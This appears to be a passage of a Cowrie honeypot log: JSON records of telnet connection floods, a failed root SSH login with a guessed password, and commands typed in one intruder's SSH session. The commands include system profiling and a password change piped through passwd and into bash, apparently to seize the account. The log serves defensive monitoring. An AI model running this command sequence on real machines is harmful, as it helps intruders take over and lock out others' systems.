{"eventid":"cowrie.session.closed","duration":36.7846941947937,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.722204Z","src_ip":"162.55.233.176","session":"65ef7d00c23a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45980,"dst_ip":"159.203.135.109","dst_port":23,"session":"91ae3fec5f19","protocol":"telnet","message":"New connection: 162.55.233.176:45980 (159.203.135.109:23) [session: 91ae3fec5f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.841402Z"}
{"eventid":"cowrie.session.closed","duration":36.228899002075195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.880724Z","src_ip":"162.55.233.176","session":"4ed4f450e9e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0336377620697,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:51.254462Z","src_ip":"162.55.233.176","session":"6b51aed32cfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06282925605774,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:51.418000Z","src_ip":"162.55.233.176","session":"1b266c6501a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45982,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9083bf62f6a","protocol":"telnet","message":"New connection: 162.55.233.176:45982 (159.203.135.109:23) [session: b9083bf62f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:51.495645Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:51.500588Z","src_ip":"38.137.11.14","session":"2cc75d46bd15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.220510959625244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:51.527545Z","src_ip":"162.55.233.176","session":"1213e7baa523","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:51.777253Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:51.781570Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45988,"dst_ip":"159.203.135.109","dst_port":23,"session":"298e86b70a88","protocol":"telnet","message":"New connection: 162.55.233.176:45988 (159.203.135.109:23) [session: 298e86b70a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:51.849107Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.019819Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45996,"dst_ip":"159.203.135.109","dst_port":23,"session":"280df9ce2031","protocol":"telnet","message":"New connection: 162.55.233.176:45996 (159.203.135.109:23) [session: 280df9ce2031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.046498Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46004,"dst_ip":"159.203.135.109","dst_port":23,"session":"06a5428928f0","protocol":"telnet","message":"New connection: 162.55.233.176:46004 (159.203.135.109:23) [session: 06a5428928f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.069313Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55414,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b505d5d51d0","protocol":"telnet","message":"New connection: 188.208.141.113:55414 (10.17.0.5:23) [session: 9b505d5d51d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.222228Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46010,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bbf60962589","protocol":"telnet","message":"New connection: 162.55.233.176:46010 (159.203.135.109:23) [session: 6bbf60962589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.233577Z"}
{"eventid":"cowrie.session.closed","duration":34.860426902770996,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.346220Z","src_ip":"162.55.233.176","session":"d9aba9dff528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.17367506027222,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.358488Z","src_ip":"162.55.233.176","session":"cb29912bc176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99846529960632,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.362348Z","src_ip":"162.55.233.176","session":"df99d2e09646","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.510273Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2022\\ngH8Yyu0GolsK\\ngH8Yyu0GolsK\"|passwd|bash","message":"CMD: echo -e \"admin@2022\\ngH8Yyu0GolsK\\ngH8Yyu0GolsK\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.514236Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.517876Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.521121Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46014,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ce0a596125","protocol":"telnet","message":"New connection: 162.55.233.176:46014 (159.203.135.109:23) [session: 36ce0a596125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.530815Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46020,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d1ee7d2700a","protocol":"telnet","message":"New connection: 162.55.233.176:46020 (159.203.135.109:23) [session: 1d1ee7d2700a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.547119Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/32bdabc470f8536e935af82ee7d85c811e2fc30c33a439fe0944ca712b0d798b","size":32,"shasum":"32bdabc470f8536e935af82ee7d85c811e2fc30c33a439fe0944ca712b0d798b","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/32bdabc470f8536e935af82ee7d85c811e2fc30c33a439fe0944ca712b0d798b after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:52.754236Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58888,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ad535d629e3","protocol":"telnet","message":"New connection: 162.55.233.176:58888 (159.203.135.109:23) [session: 6ad535d629e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.160299Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.240988Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2022\\ngH8Yyu0GolsK\\ngH8Yyu0GolsK\\n\"|passwd","message":"CMD: echo \"admin@2022\\ngH8Yyu0GolsK\\ngH8Yyu0GolsK\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.244128Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/fb14eed8eb994a47bb73975eed636b80920ce38e10c7e090684892d2a7b35742","size":25,"shasum":"fb14eed8eb994a47bb73975eed636b80920ce38e10c7e090684892d2a7b35742","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/fb14eed8eb994a47bb73975eed636b80920ce38e10c7e090684892d2a7b35742 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.473283Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58894,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb127f987768","protocol":"telnet","message":"New connection: 162.55.233.176:58894 (159.203.135.109:23) [session: eb127f987768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.478660Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps2014","message":"login attempt [root/vps2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.524388Z","src_ip":"213.209.159.158","session":"7f80c5bec77d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58908,"dst_ip":"159.203.135.109","dst_port":23,"session":"60651279d4d4","protocol":"telnet","message":"New connection: 162.55.233.176:58908 (159.203.135.109:23) [session: 60651279d4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.538416Z"}
{"eventid":"cowrie.session.closed","duration":32.836148500442505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.621012Z","src_ip":"162.55.233.176","session":"dd4700daf219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.12990355491638,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.682311Z","src_ip":"162.55.233.176","session":"3caac7b0fe21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49300503730774,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.742580Z","src_ip":"162.55.233.176","session":"145bbd6e7134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58910,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a6740ae63d7","protocol":"telnet","message":"New connection: 162.55.233.176:58910 (159.203.135.109:23) [session: 1a6740ae63d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.774052Z"}
{"eventid":"cowrie.session.closed","duration":32.08935594558716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.821892Z","src_ip":"162.55.233.176","session":"66b2a8b2ee8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.215749740600586,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.908966Z","src_ip":"162.55.233.176","session":"aa172281ccae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58920,"dst_ip":"159.203.135.109","dst_port":23,"session":"d24c94c73d21","protocol":"telnet","message":"New connection: 162.55.233.176:58920 (159.203.135.109:23) [session: d24c94c73d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.936883Z"}
{"eventid":"cowrie.session.closed","duration":36.99362134933472,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:53.948658Z","src_ip":"162.55.233.176","session":"9f481c980a78","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.005094Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.009084Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.240543Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58928,"dst_ip":"159.203.135.109","dst_port":23,"session":"e47ba37f410c","protocol":"telnet","message":"New connection: 162.55.233.176:58928 (159.203.135.109:23) [session: e47ba37f410c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.322560Z"}
{"eventid":"cowrie.session.closed","duration":44.85299372673035,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.626193Z","src_ip":"206.189.32.23","session":"3e5ae3ef5575","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23429536819458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.634856Z","src_ip":"162.55.233.176","session":"654692b780bb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.745622Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.750675Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.042505502700806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.761054Z","src_ip":"162.55.233.176","session":"b3b964a932bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.780604124069214,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.764580Z","src_ip":"162.55.233.176","session":"8a5bffd79286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.140732765197754,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.963377Z","src_ip":"162.55.233.176","session":"c1d8c1df3dfd","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:54.984839Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:55.478188Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:55.482442Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:55.485913Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58930,"dst_ip":"159.203.135.109","dst_port":23,"session":"73337b12dff6","protocol":"telnet","message":"New connection: 162.55.233.176:58930 (159.203.135.109:23) [session: 73337b12dff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:55.493436Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:55.717226Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.722851753234863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:55.828785Z","src_ip":"162.55.233.176","session":"569c49713e97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16610360145569,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:55.920758Z","src_ip":"162.55.233.176","session":"55d982c5e40f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:55.968132Z","src_ip":"213.209.159.158","session":"7f80c5bec77d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":59628,"dst_ip":"10.17.0.5","dst_port":22,"session":"48f2c5c52139","protocol":"ssh","message":"New connection: 213.209.159.158:59628 (10.17.0.5:22) [session: 48f2c5c52139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.077298Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.211083Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.214373Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.444103Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72622799873352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.634622Z","src_ip":"162.55.233.176","session":"faa39a3b651b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55436,"dst_ip":"10.17.0.5","dst_port":23,"session":"863774284c8c","protocol":"telnet","message":"New connection: 188.208.141.113:55436 (10.17.0.5:23) [session: 863774284c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.775396Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58944,"dst_ip":"159.203.135.109","dst_port":23,"session":"62266a76c933","protocol":"telnet","message":"New connection: 162.55.233.176:58944 (159.203.135.109:23) [session: 62266a76c933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.819675Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58958,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ce5c13cced4","protocol":"telnet","message":"New connection: 162.55.233.176:58958 (159.203.135.109:23) [session: 6ce5c13cced4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.857964Z"}
{"eventid":"cowrie.session.closed","duration":32.85759449005127,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.866702Z","src_ip":"162.55.233.176","session":"264b5545f14b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.939743Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:56.943236Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.176224Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:57.271785Z","src_ip":"213.209.159.158","session":"48f2c5c52139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512